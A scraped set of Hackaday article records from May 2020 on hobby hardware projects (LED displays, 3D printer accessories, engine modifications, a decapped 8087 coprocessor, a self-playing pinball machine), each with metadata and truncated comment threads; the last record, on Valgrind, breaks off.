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https://hackaday.com/2020/05/19/weather-display-is-cloudy-with-a-chance-of-esp8266/ | Weather Display Is Cloudy With A Chance Of ESP8266 | Tom Nardi | [
"LED Hacks",
"Microcontrollers"
] | [
"NodeMCU",
"RGB LED",
"weather display",
"weather station",
"ws2812b"
] | [Mukesh Sankhla] writes in to share this
unique weather display that looks to be equal parts art and science
. Rather than show the current conditions with something as pedestrian as numbers, this device communicates various weather conditions to the user with 25 WS2812B LEDs embedded into the 3D printed structure. It also doubles as a functional planter for your desk.
So how does this potted plant tell you if it’s time to get your umbrella? Using a NodeMCU ESP8266 development board, it connects to openweathermap.org and gets the current conditions for your location. Relative temperature is conveyed by changing the color of the pot itself; going from blue to red as things heat up. If there’s rain, the cloud over the plant will change color and flash to indicate thunder.
[Mukesh] has made all of the STL files for the printed components available, as well as the source code for the ESP8266. You’ll need to provide your own soil and plant though, there’s only so much you can send over the Internet. Incidentally, if the clever way he soldered these WS2812B modules together in the video catches your eye,
you’ll really love his “RGB Goggles” project that we covered earlier
. | 2 | 2 | [
{
"comment_id": "6246782",
"author": "Steve L",
"timestamp": "2020-05-19T20:42:44",
"content": "Very creative UI, and the printed parts are just right.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6247605",
"author": "Melvis",
"timestamp": "2020-05-2... | 1,760,373,483.33491 | ||
https://hackaday.com/2020/05/19/robotic-basketball-hoop-v2/ | Robotic Basketball Hoop V2 | Bryan Cockfield | [
"Robots Hacks"
] | [
"backboard",
"basketball",
"facial recognition",
"hoop",
"robot",
"shane wighton",
"sport"
] | A few weeks ago, [Shane Wighton] created a basketball backboard which made it impossible to miss a shot even remotely close to the hoop. As a passive device, though, the backboard had its limits. Shots with tremendous velocity wouldn’t go in, and (like most backboards) it was missing facial recognition software. So he got to work on
a second version which solves those issues
, and takes a more active role in the game.
This version is flat, and looks largely unassuming until a game begins. The flat backboard is mechanized and includes a camera, so incoming shots can be analyzed in real-time while the backboard is moved into a position to direct the ball into the net. Or, since it does include facial recognition, the backboard can always send the ball away from the hoop, ensuring that [Shane] always wins basketball games no matter how many shots his opponent takes.
If you didn’t get a chance to see the original,
we featured that a while back
, and it’s truly a wonder when you learn about how much analysis went into creating the shape. The new version is even more impressive, doing all of that math in real time, and we can’t wait to see what [Shane] comes up with next. | 12 | 6 | [
{
"comment_id": "6246758",
"author": "Jii",
"timestamp": "2020-05-19T19:12:03",
"content": "I wonder if instead of waiting to “last millisecond”, it’d be better to move earlier to a rough position and fine adjust as more data is collected.",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,373,483.37978 | ||
https://hackaday.com/2020/05/19/how-to-get-into-cars-nat-atmo-engine-mods/ | How To Get Into Cars: Nat Atmo Engine Mods | Lewin Day | [
"car hacks",
"Hackaday Columns",
"Original Art",
"Slider"
] | [
"car",
"cars",
"engine",
"naturally aspirated"
] | While the car world is obsessed with everything boosted these days, many still yearn for the smooth power delivery and sonorous tone of a naturally aspirated engine. Of course, everyone still wants to go fast, so here’s how you go about getting more power out of your car
without
bolting on a big turbo or whining supercharger.
Intakes: This Can Get Pretty Invovled
A modified intake installed on a Honda S2000. Also referred to as “cold-air intakes”, they aim to suck in air at lower temperature which helps produce more power – hence the shield between the air filter and exhaust.
The intake is one of the first modifications made by many budding car enthusiasts. Throwing on a chromed intake pipe with a big pod filter was
the
mod to have back in the
Fast and Furious
era. Power gains can be had, though typically these are minor – on the order of 5-10 horsepower at most. It all depends on the car in question. A BMW M5 V10 was designed for high performance, with a highly advanced intake with individual throttle bodies from the factory. It’s unlikely any eBay parts are going to unlock horsepower that BMW’s engineers didn’t already find. Conversely, early Mazda Miatas are known to have a restrictive intake, largely due to the flap-type air flow meter. Replacing this with a freer-flowing setup has merit.
This BMW may look like a bucket of snakes, but it makes serious power.
Intake mods can range from simple to complex. With many modern cars, it’s a case of removing the stock factory parts and bolting in whatever shiny new pipes you bought online. These intake kits usually bolt in front of the throttle body, leaving the stock manifold as-is. Alternatively, particularly if you’re working on an old carby V8, you may be replacing the whole manifold entirely. This generally involves a new set of intake gaskets and some fresh sealant in some cases. At the other end of the scale, one can go as far as installing a full individual throttle body kit, requiring modifications to linkages, fueling, and even braking systems.
These are best attempted by those willing to suffer for their build.
Exhaust: A Bit More Beginner Friendly
A typical full exhaust kit. The headers bolt to the engine, followed by the catalytic converters, and then several mufflers.
If you crave more rumble, this is the mod for you. Exhaust modifications range from a simple muffler swap at the rear of the car, to a full kit from headers to tailpipe.
There’s often some small gains to be had by upgrading to a freer-flowing exhaust system. Factory parts are often made with an eye to ease of manufacture and cost, and may not be the most efficient design. Additionally, the average motorist likes a nice, quiet car. Swapping these parts out for something less restrictive that makes more power and noise is a no-brainer for a true enthusiast. Gains are generally on the order of 15hp or less, but it’s an important modification to make on the quest for bigger power numbers in concert with other mods. Plus, you want other people to be intimidated by the growl of your engine as you idle through the McDonald’s drive through, right?
A set of custom headers for a Mercedes V12. This exhaust from a Japanese custom builder makes the luxury saloon
sound like a Formula 1 car.
Exhaust mods are usually an easy job, though modern cars with tighter engine bays can prove more difficult to work on. It’s usually a case of undoing a few bolts, removing the stock parts and installing the new ones. New gaskets are key to avoid leaks, and bring plenty of WD40 if you’re working on an older or rusty vehicle. Make sure to use a good socket set, too. Exhaust bolts have a habit of being tough nuts to crack, and if you snap a stud on the engine, you’re in for a world of hurt.
Cams: When You Crave Some Risk in Your Modding Projects
The camshafts in a piston engine are what control the opening and closing of the intake and exhaust valves. By altering the amount the valves are opened (
lift
) and how long they’re opened (
duration
), it’s possible to alter the engine’s characteristics. Increased lift and duration lets more air into the cylinder, creating more potential power.
Twin camshafts on a Honda B-series engine. This is an overhead cam design. Many American V8s, including the famous LS, use a cam-in-block design instead.
However, there’s always a tradeoff. Greater lift can cause problems with valve float at high RPM, where the valve spring can no longer keep the valve in touch with the cam. This can result in catastrophic damage if the valve contacts the piston. Greater duration can create greater overlap – the time at which both intake and exhaust valves are open at the same time. This can hurt performance at low RPMs, and give the engine a lopey idle. Additionally, it’s important to consider the proper supporting mods. Often a cam change may require upgraded valve springs to deal with the new profile.
Generally, a cam swap enables gains to be made in high end power or low end torque, but rarely both at the same time. Often, they’re discussed in terms of application — street cams, race cams, and so on. A race-oriented cam may give great top end power, but very poor performance low in the RPM range, which would make it awful for driving around town. Being realistic about your build’s application is key to making the right choice.
Heads And Porting: Delving Into the Jobs For the Pros
A set of Brodix heads on a classic small block Chevy. These are cast heads, but designed to match the geometry of a formerly CNC design.
For some engines, mostly classic American V8s, it’s possible to buy new cylinder heads off-the-shelf as a performance upgrade. Additionally, in some cases, it’s possible to swap heads between different engines of the same family, as is often done with Honda B-series motors in the JDM scene.
Installing a high-performance head on your engine can be a major performance gain, and is often done along with a cam change to make the most of the better flowing part. A performance head will have less restrictive ports, and may also slightly change the compression ratio of the engine, depending on design. Often, larger valves may be fitted than stock, further helping flow. For those with older iron-block motors, there’s often an extra benefit to be had, too. By fitting a modern aluminium head, there’s a huge weight saving along with the power gains.
An alternative to buying a new performance head is modifying a stock part. A head can be
ported
, where the intake and exhaust ports are carefully machined out for better flow. On some heads, there’s also scope to fit larger valves, once again by machining the original part. These jobs are often performed by skilled machinists, as tolerances are tight and getting things wrong can destroy an engine very quickly.
Head swaps can be a more intermediate level job. It involves removing manifolds and often accessories from the engine, as well as timing gear. Making mistakes in reassembly can cause valves and pistons to collide,
causing major engine damage.
Dilligence is key to make sure your motor doesn’t end up overheating or smashing itself to bits.
Building an Engine: Down the Rabbit Hole We Go
A crankshaft being installed in a Mazda BP engine block. Note the red assembly lube on the bearing surfaces.
If you’re hunting for ultimate power in a naturally aspirated engine, you’re generally looking at
building a motor.
This involves disassembling the engine, and putting it back together with fresh parts to completely change its performance characteristics. Building an engine is not for the faint of heart, but opens up options like stroking and boring which can provide major power gains for serious builds.
The “stroke” of an engine is the distance the pistons travel up and down within the cylinder. Stroker kits involve swapping out the crankshaft, rods, and sometimes even pistons, to give the engine a greater stroke length, and thus displacement. This greater displacement allows the engine to suck in more air, creating more power, and the pistons have greater leverage on the crank, creating more torque.
Pistons and connecting rods need to be balanced, and thus kept in precise order during assembly.
The bore of an engine is the diameter of the cylinder. Increasing this dimension increases displacement, and allows the engine to suck in more air, creating more power. Boring out an engine requires new pistons to be fitted, and can cause issues with cylinder walls cracking if taken too far. .
When replacing pistons, crankshafts, and associated parts, there’s also the option to choose parts to change the compression ratio. Increasing compression ratio produces more power from the combustion reaction, but also increases the risk of the fuel-air mixture detonating, which causes engine damage. This can be staved off by running fuel with a higher octane rating, which obviously comes at a cost.
Building an engine involves choosing a large number of very specific parts which have to be
exactly right
in order to all spin together at thousands of RPM for thousands of miles without destroying themselves. Additionally, assembly requires the utmost attention to detail and the use of specific, high-quality tools. Tolerances of tiny fractions of an inch must be measured accurately, torques set just so, and lubricant applied properly to all the relevant areas. Miss one step, and it’s possible to turn thousands of dollars of precisely machined metal into a boat anchor in seconds flat. It’s a job that is achievable by the home mechanic, but requires serious dedication and investment of both time and money.
A Note On Tuning
When making changes to the way air flows through your engine, it’s important that the fueling changes in kind. Otherwise, you’re not making any more power, and you’re risking detonation and damage. The tuning your car will require depends on a number of factors, from the parts you’re fitting, to the way your engine manages air and fuel.
For modern fuel injected cars, oftentimes, simple mods like an air filter kit or new exhaust won’t require any changes. The sensors attached to the engine’s ECU can detect the amount of air coming in to and leaving the engine, and adjust fueling to suit. Sometimes, even a sneaky cam change can be pulled off without modification. A great example is the original Mazda Miata, which runs very rich in the high RPM range. Aftermarket companies noticed this, and supplied mildly hotter cams which flowed a touch more air up top, taking advantage of the extra fuel already there to make more power. However, generally if you’re doing more than some basic bolt ons, you may need to get your stock ECU tuned, or even replaced entirely with an aftermarket unit.
For carburetted builds, the story is much the same. While a mild change to a new muffler likely won’t require any changes, a full exhaust or cam change will demand a retune. At this point, it’s time to get out the carby jets and the timing light, or take the car to a shop that can do it for you. Without doing this crucial step, it’s likely your mods will simply make the car run worse, not better!
Conclusion
Making big power gains in a naturally aspirated build is more complicated than just buying an eBay turbo and slapping it on in a weekend. However, for some, the effort is worth it, for the incomparable sound and smooth power curve that is only available with such an engine. Whatever your automotive journey, may it be a good one — with as few trashed engines as possible! | 54 | 14 | [
{
"comment_id": "6246724",
"author": "Smorges Borges",
"timestamp": "2020-05-19T17:23:08",
"content": "The startling omission from this article is no mention of simulation tools. IC engines are all about the combination. In a highly optimized engine even minor changes to intake or exhaust typically ... | 1,760,373,483.829062 | ||
https://hackaday.com/2020/05/19/bolt-on-clog-detection-for-your-3d-printer/ | Bolt-On Clog Detection For Your 3D Printer | Tom Nardi | [
"3d Printer hacks",
"Microcontrollers"
] | [
"clog",
"Digispark",
"filament",
"jam",
"oled",
"photoresistor",
"prusa"
] | Desktop 3D printing technology has improved by leaps and bounds over the last few years, but they can still be finicky beasts. Part of this is because the consumer-level machines generally don’t offer much in the way of instrumentation. If the filament runs out or the hotend clogs up and stops extruding, the vast majority of printers will keep humming along with nothing to show for it.
Looking to prevent the heartache of a half-finished print,
[Elite Worm] has been working on a very clever filament detector
that can be retrofitted to your 3D printer with a minimum of fuss. The design, at least in its current form, doesn’t actually interface with the printer beyond latching onto the part cooling fan as a convenient source of DC power. Filament simply passes through it on the way to the extruder, and should it stop moving while the fan is still running (indicating that the machine
should
be printing), it will sound the alarm.
Inside the handy device is a Digispark ATtiny85 microcontroller, a 128 x 32 I2C OLED display, a buzzer, an LED, and a photoresistor. An ingenious 3D printed mechanism grabs the filament on its way through to the extruder, and uses this movement to alternately block and unblock the path between the LED and photoresistor. If the microcontroller doesn’t see the telltale pulse after a few minutes, it knows that something has gone wrong.
In the video after the break, [Elite Worm] fits the device to his Prusa i3 MK2, but it should work on essentially any 3D printer if you can find a convenient place to mount it. Keep a close eye out during the video for our favorite part of the whole build, using the neck of a latex party balloon to add a little traction to the wheels of the filament sensor. Brilliant.
Incidentally,
Prusa tried to tackle jam detection optically on the i3 MK3
but ended up deleting the feature on the subsequent MK3S since the system proved unreliable with some filaments. The official line is that jams are so infrequent with high-quality filament that the printer doesn’t need it, but it does seem like an odd omission when even the cheapest paper printer on the market still beeps at you when things have run afoul. | 19 | 12 | [
{
"comment_id": "6246702",
"author": "Doug Leppard",
"timestamp": "2020-05-19T15:41:32",
"content": "Just this morning I got up and saw the printer was clogged and I thought I needed to build one and here it is. Bravo!!!!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comm... | 1,760,373,483.51241 | ||
https://hackaday.com/2020/05/19/2020-hackaday-prize-reveals-four-open-challenges-and-new-dream-team-program/ | 2020 Hackaday Prize Reveals Four Open Challenges And New Dream Team Program | Mike Szczys | [
"Featured",
"Slider",
"The Hackaday Prize"
] | [
"2020 Hackaday Prize",
"CalEarth",
"Conservation X Labs",
"Field Ready",
"United Cerebral Palsy LA"
] | The
2020 Hackaday Prize
begins right now. Our global engineering challenge seeks solutions to real-world problems. If you like to come up with creative solutions to tough problems, four non-profits can use your help. We need hackers, designers, and engineers throughout the world to work on designs for conservation, disaster relief, renewable resources, and assistive devices.
This is the seventh year of the Hackaday Prize, and like past years we want to see your ideas take shape, so share your design process in detail as a project page on Hackaday.io.
Over $200,000 in prizes
are at stake, with a $50,000 prize for the all around best solution which will then be designed for manufacture at Supplyframe’s DesignLab, produced in a limited run, and deployed in the field.
New this year is
our partnership with non-profits that have each outlined challenges they are facing
. Eight projects, one top finisher, and one runner up from each of the four categories of challenges, will receive $10,000 and $3,000 respectively. As with previous years, the bootstrap round offers some seed money for getting your prototype off the ground: up to $500 for each of the top twenty during early entry judging. There’s even a $5,000 wildcard prize for entries that don’t specifically address challenges from the four categories. Here’s a taste of the categories you can work on:
Develop solutions to combat invasive species in marine and island environments, and help craft tools for protecting our natural ocean landscapes
Low cost tools for use in the field like a heat sealers/welders, and medical devices like IV fluid warmers
Adaptive technologies for workstations like trackballs, joysticks, and large button controllers
Modular add-ons for earthen housing for connectivity, light, heating, and water storage
Here’s one thing we’ve never been able to do before: provide a stipend to work for two months on an engineering “Dream Team” in these areas. Our partner organizations need great engineers, and we can make that happen. The Hackaday Prize includes team microgrants of $3,000 per month available for each of twelve engineers selected to work full time in June and July on the Dream Team challenges. Let’s meet the non-profits and find what this new bit is all about.
Meet the Non-Profits and the Dream Team Challenges
The people who understand the problems best are those who face them in the field. We’re proud to partner with four non-profit organziations this year who have their finger on the pulse of where help is needed.
Conservation X Labs
Faced with the sixth mass extinction, Conservation X Labs focuses on solving the drivers of this extinction, promoting conservation systems that protect wildlife health and improve the ecosystem.
Conservation X Labs’ Dream Team challenge is to design systems for reducing the amount of lost or abandoned items in the world’s oceans, particularly in the fishing industry.
Field Ready
This year we’ve seen how difficult it becomes when supply chains break down. Field Ready focuses on rapid manufacturing in the field, helping with designs for disaster recovery or humanitarian crisis.
Field Ready’s Dream Team challenge is to design a tracking system that evaluates effectiveness of solutions, helps ensure quality control, and makes repair and replication of existing solutions possible.
United Cerebral Palsy LA
Advancing the independence and productivity of people with developmental and intellectual disabilities is the mission of United Cerebral Palsy of Los Angeles.
UCPLA’s Dream Team challenge is to design a universal remote for those with physical challenges that will easily connect to devices whose interfaces are otherwise difficult to use.
CalEarth
With millions of refugees and displaced persons throughout the world, there is an accelerating housing crisis. CalEarth focuses on sustainable buildings to address this need, using earth bag architecture known as SuperAdobe.
CalEarth’s Dream Team challenge is to solutions to the high labor cost of building SuperAbode, which is the most predominant bottleneck in building these structures in large numbers.
Each of these organizations will receive a $10,000 donation as part of their partnership with the 2020 Hackaday Prize.
We All Need Purpose
We spend a lot of time learning about hardware, design, manufacturing, programming, and myriad other artistic and technical skills that are the bedrock of our creativity. There is no greater satisfaction that aiming all of those skills at a purpose that makes a difference. It might make people happy, more comfortable, able to live a better life today, or able to live in a healthier world tomorrow.
This is your time to build with purpose. We know these are problems in need of solutions right now. We don’t know who will be able to solve them, but hope it will be you.
Begin your 2020 Hackaday Prize right now
!
The
Hackaday
Prize2020
is Sponsored by: | 17 | 6 | [
{
"comment_id": "6246689",
"author": "shellspeck",
"timestamp": "2020-05-19T15:28:48",
"content": "Like Abode Phoshotop ?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246699",
"author": "Mike Szczys",
"timestamp": "2020-05-19T15:38:50",
... | 1,760,373,483.301833 | ||
https://hackaday.com/2020/05/19/imac-g4-reborn-with-intel-nuc-transplant/ | IMac G4 Reborn With Intel NUC Transplant | Tom Nardi | [
"classic hacks",
"computer hacks",
"Mac Hacks"
] | [
"apple",
"g4",
"hackintosh",
"imac",
"Intel NUC",
"mac"
] | Released in 2002, Apple’s iMac G4 was certainly a unique machine. Even today, its hemispherical case and integrated “gooseneck” display is unlike anything else on the market. Whether or not that’s a good thing is rather subjective of course, but there’s no denying it’s still an attention grabber nearly 20 years after its release. Unfortunately, it’s got less processing power than a modern burner phone.
Which is why
[Tom Hightower] figured it was the perfect candidate for a retrofit
. Rather than being little more than a display piece, this Intel NUC powered iMac is now able to run the latest version of Mac OS. He even went as far as replacing the display with a higher resolution panel, though it sounds like it was dead to begin with so he didn’t have much choice in the matter.
Somewhere, an early 2000s Apple engineer is screaming.
The retrofit starts off with a brief teardown, which is quite interesting in itself. [Tom] notes a number of unique design elements, chief among them the circular motherboard. The two banks of memory also use different form factors, and only one of them is easily accessible to the end user. Something to think about the next time somebody tells you that Apple’s “brave” hardware choices are only a modern phenomena.
There was plenty of room inside the iMac’s dome to fit the NUC motherboard, and some extension cables and hot glue got the computer’s rear panel suitably updated with the latest-and-greatest ports and connectors. But the conversion wasn’t a total cakewalk. That iconic “gooseneck” put up quite a fight when it was time to run the new wires up to the display. Between the proprietary screws that had to be coerced out with a Dremel to the massive spring that was determined to escape captivity, [Tom] recommends anyone else looking to perform a similar modification just leave the wires on the outside of the thing. That’s what he ended up doing with the power wires for the display inverter.
If you like the idea of reviving old Apple hardware but don’t want to anger the goose, you could start on something a little easier. Like
putting an iPad inside of a Macintosh Classic shell
. | 25 | 8 | [
{
"comment_id": "6246631",
"author": "jafinch78",
"timestamp": "2020-05-19T11:19:55",
"content": "Good timing and neat build. I was wondering the other day about the 360 degree cameras and the software being only Android or iOS and maybe making a VM with OSX. Though was thinking I might have a rea... | 1,760,373,483.738203 | ||
https://hackaday.com/2020/05/19/self-shutting-face-mask-is-hackers-delight/ | Self-Shutting Face Mask Is Hacker’s Delight | Moritz v. Sivers | [
"Wearable Hacks"
] | [
"3d printed",
"9G servo",
"Covid-19",
"face mask",
"PIR sensor"
] | Most of us currently have to deal with wearing face masks in our daily life. An experience that is not entirely pleasurable as it is more difficult to breathe under the mask and can become hot after a while. In addition, you have to take off the mask whenever you want to eat or drink. [DesignMaker] has attempted to solve these problems by creating
a mask with an opening that shuts automatically when other people are nearby
.
While homemade masks are usually made from fabric [DesignMaker]’s version is much more to a hacker’s taste and includes 3D-printed parts, an Arduino Nano, PIR sensors, an SG90 servo, and some Neopixels. [DesignMaker]’s background in industrial design certainly helped him when modeling the mask as it looks just plain awesome.
His goal was to use PIR sensors to detect when a person is moving nearby. The servo then shuts an opening located at the mouth part of the mask. However, he soon found out that the mask often shuts when nobody is around. The reason is that the sensor can be triggered by ambient IR radiation when it is moving by itself. In the end [DesignMaker] decided that having the mask shut when you are moving is not a bug, it’s a feature.
Of course, the mask is just a prop and should not be used as protective equipment. As shown in the video below, also the false triggering of the PIR sensors can be annoying at times. But [DesignMaker] is already thinking of improvements like having the mask properly sealed with fabric or replacing the PIR sensors by a camera with face detection.
If you want to learn how to sew a proper fabric face mask have a look
here
. It’s a lot less ridiculous, but a lot more effective. You can’t have everything.
Video after the break. | 28 | 8 | [
{
"comment_id": "6246619",
"author": "moeb",
"timestamp": "2020-05-19T09:42:08",
"content": "So ridiculous….its totally awesome :D",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6246696",
"author": "Foldi-One",
"timestamp": "2020-05-19T15:38:... | 1,760,373,483.577579 | ||
https://hackaday.com/2020/05/18/pinball-machine-needs-no-wizard/ | Pinball Machine Needs No Wizard | Kristina Panos | [
"Arduino Hacks",
"Games"
] | [
"arduino",
"arduino mega",
"computer vision",
"DIY pinball",
"pachinko",
"pinball",
"Plinko"
] | Ever since he was a young boy, [Tyler] has played the silver ball. And like us, he’s had a lifelong fascination with the intricate electromechanical beasts that surround them. In his recently-completed senior year of college, [Tyler] assembled a mechatronics dream team of [Kevin, Cody, and Omar] to help turn those visions into
self-playing pinball reality
.
You can indeed play the machine manually, and the Arduino Mega will keep track of your score just like a regular cabinet. If you need to scratch an itch, ignore a phone call, or just plain want to watch a pinball machine play itself, it can switch back and forth on the fly. The USB camera mounted over the playfield tracks the ball as it speeds around. Whenever it enters the flipper vectors, the appropriate flipper will engage automatically to bat the ball away.
Our favorite part of this build (aside from the fact that it can play itself) is the pachinko multi-ball feature that manages to squeeze in a second game and a second level.
This project is wide open
, and even if you’re not interested in replicating it, [Tyler] sprinkled a ton of good info and links to more throughout the build logs. Take a tour after the break while we have it set on free play.
[Tyler]’s machine uses actual pinball machine parts, which could quickly ramp up the cost. If you
roll your own targets and get creative with solenoid sourcing
, building a pinball machine doesn’t have to be a drain on your wallet. | 15 | 8 | [
{
"comment_id": "6246624",
"author": "Stuart Longland",
"timestamp": "2020-05-19T10:41:53",
"content": "I take it the Arduino is the “deaf, dumb, blind kid”?",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6246639",
"author": "Pantsturtles",
"timestamp"... | 1,760,373,483.459058 | ||
https://hackaday.com/2020/05/18/piddler-illustrates-aliasing-and-the-z-transform/ | Piddler Illustrates Aliasing And The Z-Transform | Al Williams | [
"Science"
] | [
"control systems",
"control theory",
"water fountain",
"z transform"
] | One of the problems about learning too much control system theory is that you start to realize almost everything is some sort of control system. That’s the case with [Fernando Zigunov]. After observing a Rayleigh-Plateau instability in his kitchen sink, he decided to build a little display piece that shows water apparently defying gravity that he calls
The Piddler
.
We’ve seen things like this before, of course. A coffee pump, a check valve, and a strobe lamp with a controller is all that it takes. What makes this project interesting is the over hour-long video lecture on the theory behind why this works and how it relates to aliasing and the z-transform. You can check out the video, below.
In addition, there’s an analysis of what’s going on physically using a high-speed camera, which is interesting. Sometimes we see a video like this that glosses over the math, but not this one. Bring your calculus book and your slide rule. There’s even a differential equation or two hiding in there.
Even though The Piddler isn’t as fancy as some of these we’ve
seen
, it may be the best documented, at least from the theory point of view. If you don’t want to cut open your coffee maker, maybe you have a
bicycle pump
? | 1 | 1 | [
{
"comment_id": "6246707",
"author": "Brian",
"timestamp": "2020-05-19T16:06:44",
"content": "A more ‘intuitive’ approach here:https://www.youtube.com/watch?v=B4IyRw1zvvA",
"parent_id": null,
"depth": 1,
"replies": []
}
] | 1,760,373,483.412121 | ||
https://hackaday.com/2020/05/18/whiteboard-plotter-rocks-three-colors-and-an-eraser/ | Whiteboard Plotter Rocks Three Colors And An Eraser | Donald Papp | [
"3d Printer hacks",
"Robots Hacks"
] | [
"3d printed",
"Geneva Drive",
"pen holder",
"robot",
"whiteboard"
] | AutoWhiteboardBot’s business end, with three markers.
[td0g]’s
AutoWhiteboardBot
is not just
any
3D printed whiteboard plotter, because it also sports a triple-marker carrier and on-board eraser! The device itself hangs from stepper motors, which take care of moving the plotter across the whiteboard, and the trick to making the three colors work was to incorporate retractable dry-erase markers. A spherical
Geneva drive
-based assembly on the plotter rotates the pen cartridge, and a plunger activates the chosen color. Erasing, arguably the easiest thing to do on a whiteboard, is done by a piece of felt.
3D printed parts are on Thingiverse
and [td0g] says software is coming soon. It’s a clever device, especially the method of accommodating multiple colors with retractable markers.
AutoWhiteboardBot hangs from motors which pull it around, but
we’ve also seen a SCARA-type robot writing away on a whiteboard
. Watch the video embedded below, which begins with sped-up footage of AutoWhiteboardBot drawing in different colors as it slides across the board surface. | 11 | 5 | [
{
"comment_id": "6246547",
"author": "Cerveza",
"timestamp": "2020-05-18T23:11:01",
"content": "Logo turtle for a whiteboard.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6246577",
"author": "smellsofbikes",
"timestamp": "2020-05-19T02:21:09",
"c... | 1,760,373,483.234792 | ||
https://hackaday.com/2020/05/18/jumbo-led-matrix-brings-classic-sprites-to-life/ | Jumbo LED Matrix Brings Classic Sprites To Life | Tom Nardi | [
"Arduino Hacks",
"classic hacks",
"LED Hacks"
] | [
"8 bit",
"arcade",
"fastLED",
"led matrix",
"retro",
"ws2812b"
] | Despite all the incredible advancements made in video game technology over the last few decades, the 8-bit classics never seem to go out of style. Even if you weren’t old enough to experience these games when they were new, it’s impossible not to be impressed by what the early video game pioneers were able to do with such meager hardware. They’re a reminder of what can be accomplished with dedication and technical mastery.
The grid has been split up for easier printing.
If you’d like to put a little retro inspiration on your desk, take a look at
this fantastic 16 x 16 LED matrix put together by [Josh Gerdes]
. While it’s obviously not the
only
thing you could use it for, the display certainly seems particularly adept at showing old school video game sprites in all their pixelated glory. There’s something about the internal 3D printed grid that gives the sprites a three dimensional look, while the diffused glow reminds us of nights spent hunched over a flickering CRT.
The best part might be how easy it is to put one of these together for yourself. You’ve probably got most of what you need in the parts bin; essentially it’s just a WS2812B strip long enough to liberate 256 LEDs from and a microcontroller to drive them. [Josh] used an Arduino Nano, but anything compatible with the FastLED library would be a drop-in replacement. You’ll also need a 3D printer to run off the grid, and something to put the whole thing into. The 12×12 shadowbox used here looks great, but we imagine clever folks such as yourselves could make do with whatever might be laying around if you can’t nip off to the arts and crafts store right now.
Beyond looking great, this project is a fantastic reminder of how incredibly handy WS2812 LEDs really are. Whether you’re recreating iconic game sprites or
fashioning your own light-up sunglasses
, it’s hard to imagine
how we managed before these little wonders hit the scene
. | 9 | 5 | [
{
"comment_id": "6246500",
"author": "RP",
"timestamp": "2020-05-18T20:13:25",
"content": "That’s nice!I’d like to see them scroll into frame, pause, and then scroll out in their native direction though.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6246534",... | 1,760,373,483.877904 | ||
https://hackaday.com/2020/05/20/looking-for-pi-in-the-8087-math-coprocessor-chip/ | Looking For Pi In The 8087 Math Coprocessor Chip | Dan Maloney | [
"Retrocomputing"
] | [
"8087",
"constants",
"coprocessor",
"cordic",
"decapping",
"exponent",
"floating point",
"log",
"math",
"Pi",
"reverse engineering",
"trigonometry"
] | Even with ten fingers to work with, math can be hard. Microprocessors, with the silicon equivalent of just two fingers, can have an even harder time with calculations, often taking multiple machine cycles to figure out something as simple as pi. And so 40 years ago, Intel decided to give its fledgling microprocessors a break by introducing the 8087 floating-point coprocessor.
If you’ve ever wondered what was going on inside the 8087, wonder no more.
[Ken Shirriff] has decapped an 8087
to reveal its inner structure, which turns out to be closely related to its function. After a quick tour of the general layout of the die, including locating the microcode engine and ROM, and a quick review of the NMOS architecture of the four-decade-old technology, [Ken] dug into the meat of the coprocessor and the reason it could speed up certain floating-point calculations by up to 100-fold. A generous portion of the complex die is devoted to a ROM that does nothing but store constants needed for its calculation algorithms. By carefully examining the pattern of NMOS transistors in the ROM area and making some educated guesses, he was able to see the binary representation of constants such as pi and the square root of two. There’s also an extensive series of arctangent and log
2
constants, used for
the CORDIC algorithm
, which reduces otherwise complex transcendental calculations to a few quick and easy bitwise shifts and adds.
[Ken] has popped the hood on a lot of chips before, finding
butterflies in an op-amp
and
reverse-engineering a Sinclair scientific calculator
. But there’s something about seeing constants hard-coded in silicon that really fascinates us. | 14 | 5 | [
{
"comment_id": "6247037",
"author": "Zerg",
"timestamp": "2020-05-20T20:11:45",
"content": "The Parallax Propller has a CORDIC Engine built into it as well. Going on 20 years old I’m suprised no one has noticed this in the Parallax Proip.I;m just amazed that no one has added such a CORDIC Engine to... | 1,760,373,484.100075 | ||
https://hackaday.com/2020/05/20/bricking-your-3d-printer-in-a-good-way/ | Bricking Your 3D Printer, In A Good Way | Dan Maloney | [
"3d Printer hacks",
"cnc hacks"
] | [
"concrete",
"coupling",
"damper",
"dashpot",
"dBA",
"decoupling",
"foam",
"impedance matching",
"mass damper",
"noise",
"paver",
"resonance",
"sound pressure",
"vibration"
] | In our vernacular, bricking something is almost never good. It implies that something has gone very wrong indeed, and that your once-useful and likely expensive widget is now about as useful as a brick. Given their importance to civilization, that seems somewhat unfair to bricks, but it gets the point across.
It turns out, though, that
bricks can play an important role in 3D-printing
in terms of both noise control and print quality. As [Stefan] points out in the video below, living with a 3D printer whirring away on a long print can be disturbing, especially when the vibrations of the stepper motors are transmitted into and amplified by a solid surface, like a benchtop. He found that isolating the printer from the resonant surface was the key. While the stock felt pad feet on his Original Prusa i3 Mk 3S helped, the best results were achieved by building a platform of closed-cell packing foam and a concrete paver block. The combination of the springy foam and the dampening mass of the paver brought the sound level down almost 8 dBA.
[Stefan] also thoughtfully tested his setups on print quality. Machine tools generally perform better with more mass to damp unwanted vibration, so it stands to reason that perching a printer on top of a heavy concrete slab would improve performance. Even though the difference in quality wasn’t huge, it was noticeable, and coupled with the noise reduction, it makes the inclusion of a paver and some scraps of foam into your printing setup a no-brainer.
Not content to spend just a couple of bucks on a paver for vibration damping? Then cast a composite epoxy base for your machine — either
with aluminum
or
with granite
. | 15 | 12 | [
{
"comment_id": "6247017",
"author": "Foldi-One",
"timestamp": "2020-05-20T19:27:40",
"content": "I’m surprised at the level of quality improvement, with faster higher force machines its obvious but a ‘normal’ 3dprinter I’d have though would be much further into diminishing returns than shown. Good ... | 1,760,373,484.317442 | ||
https://hackaday.com/2020/05/20/using-valgrind-to-analyze-code-for-bottlenecks-makes-faster-less-power-hungry-programs/ | Using Valgrind To Analyze Code For Bottlenecks Makes Faster, Less Power-Hungry Programs | Maya Posch | [
"Hackaday Columns",
"Skills",
"Slider",
"Software Development"
] | [
"cachegrind",
"callgrind",
"code optimization",
"dhat",
